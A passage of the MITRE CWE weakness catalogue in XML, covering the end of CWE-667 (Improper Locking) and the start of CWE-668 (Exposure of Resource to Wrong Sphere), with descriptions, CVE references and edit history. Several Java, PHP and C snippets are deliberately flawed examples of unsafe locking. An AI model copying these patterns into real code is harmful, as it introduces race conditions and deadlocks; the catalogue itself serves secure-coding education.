	   <xhtml:p>Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process.  This can lead to data or memory corruption, denial of service, etc.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Note>Inconsistent locking discipline can lead to deadlock.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use industry standard APIs to implement locking mechanism.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private long someLongValue;<xhtml:br/>public long getLongValue() {<xhtml:div style="margin-left:1em;">return someLongValue;</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public void setLongValue(long l) {<xhtml:div style="margin-left:1em;">someLongValue = l;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-69">
               <Intro_Text>This code tries to obtain a lock for a file, then writes to it.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function writeToLog($message){<xhtml:div style="margin-left:1em;">$logfile = fopen("logFile.log", "a");<xhtml:br/>
                        <xhtml:i>//attempt to get logfile lock</xhtml:i>
                        <xhtml:br/>if (flock($logfile, LOCK_EX)) {<xhtml:div style="margin-left:1em;">fwrite($logfile,$message);<xhtml:br/>
                           <xhtml:i>// unlock logfile</xhtml:i>
                           <xhtml:br/>flock($logfile, LOCK_UN);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">print "Could not obtain lock on logFile.log, message not recorded\n";</xhtml:div>}</xhtml:div>}<xhtml:br/>fclose($logFile);</xhtml:div>
               </Example_Code>
               <Body_Text>PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-24">
               <Intro_Text>The following function attempts to acquire a lock in order to perform operations on a shared resource.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void f(pthread_mutex_t *mutex) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>pthread_mutex_lock(mutex);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* access shared resource */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:br/>pthread_mutex_unlock(mutex);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.</Body_Text>
               <Body_Text>In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>int f(pthread_mutex_t *mutex) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int result;<xhtml:br/>
                           <xhtml:br/>result = pthread_mutex_lock(mutex);<xhtml:br/>if (0 != result)<xhtml:div style="margin-left:1em;">return result;</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* access shared resource */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:br/>return pthread_mutex_unlock(mutex);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-70">
               <Intro_Text>It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>if (helper == null) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>synchronized (this) {<xhtml:div style="margin-left:1em;">if (helper == null) {<xhtml:div style="margin-left:1em;">helper = new Helper();</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>return helper;</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.</Body_Text>
               <Body_Text>Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:</Body_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>helper = new Helper();</xhtml:div>
               </Example_Code>
               <Body_Text>If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-1782</Reference>
               <Description>Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-1782</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0935</Reference>
               <Description>Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0935</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-4210</Reference>
               <Description>function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-4210</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4302</Reference>
               <Description>Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4302</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1243</Reference>
               <Description>OS kernel performs an unlock in some incorrect circumstances, leading to panic.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1243</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2857</Reference>
               <Description>OS deadlock</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2857</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1961</Reference>
               <Description>OS deadlock involving 3 separate functions</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1961</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2699</Reference>
               <Description>deadlock in library</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2699</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4272</Reference>
               <Description>deadlock triggered by packets that force collisions in a routing table</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4272</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1850</Reference>
               <Description>read/write deadlock between web server and script</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1850</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0174</Reference>
               <Description>web server deadlock involving multiple listening connections</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0174</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1388</Reference>
               <Description>multiple simultaneous calls to the same function trigger deadlock.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1388</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-5158</Reference>
               <Description>chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5158</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4342</Reference>
               <Description>deadlock when an operation is performed on a resource while it is being removed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4342</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2374</Reference>
               <Description>Deadlock in device driver triggered by using file handle of a related device.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2374</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2275</Reference>
               <Description>Deadlock when large number of small messages cannot be processed quickly enough.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2275</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3847</Reference>
               <Description>OS kernel has deadlock triggered by a signal during a core dump.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3847</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3106</Reference>
               <Description>Race condition leads to deadlock.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3106</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2456</Reference>
               <Description>Chain: array index error (CWE-129) leads to deadlock (CWE-833)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2456</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0682</Reference>
               <Description>Program can not execute when attacker obtains a mutex.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0682</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1914</Reference>
               <Description>Program can not execute when attacker obtains a lock on a critical output file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1914</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1915</Reference>
               <Description>Program can not execute when attacker obtains a lock on a critical output file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1915</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0051</Reference>
               <Description>Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0051</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0338</Reference>
               <Description>Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0338</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1198</Reference>
               <Description>Chain: Lock files with predictable names. Resultant from randomness.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1198</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1869</Reference>
               <Description>Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1869</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>CON31-C</Entry_ID>
               <Entry_Name>Do not destroy a mutex while it is locked</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS48-C</Entry_ID>
               <Entry_Name>Do not unlock or destroy another POSIX thread's mutex</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA00-J</Entry_ID>
               <Entry_Name>Ensure visibility when accessing shared primitive variables</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA02-J</Entry_ID>
               <Entry_Name>Ensure that compound operations on shared variables are atomic</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA05-J</Entry_ID>
               <Entry_Name>Ensure atomicity when reading and writing 64-bit values</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>LCK06-J</Entry_ID>
               <Entry_Name>Do not use an instance lock to protect shared static data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP19</Entry_ID>
               <Entry_Name>Missing Lock</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-667</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="25"/>
            <Related_Attack_Pattern CAPEC_ID="26"/>
            <Related_Attack_Pattern CAPEC_ID="27"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-667"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc.  CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.</Note>
	 </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-23</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-12-13">Insufficient Locking</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="668" Name="Exposure of Resource to Wrong Sphere" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.</Description>
         <Extended_Description>
            <xhtml:p>Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.</xhtml:p>
            <xhtml:p>A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.</xhtml:p>
            <xhtml:p>In either case, the end result is that a resource has been exposed to the wrong party.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: CWE-668 is high-level and can be used as a catch-all when lower-level CWE IDs might be applicable. It is sometimes used for low-information vulnerability reports [REF-1287]. It is a level-1 Class (i.e., a child of a Pillar). It is not useful for trend analysis.</xhtml:p>
               <xhtml:p>Comments: closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.</xhtml:p>
	    </Note>
            <Note Type="Theoretical">A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-22</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Clarified description to include permissions.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
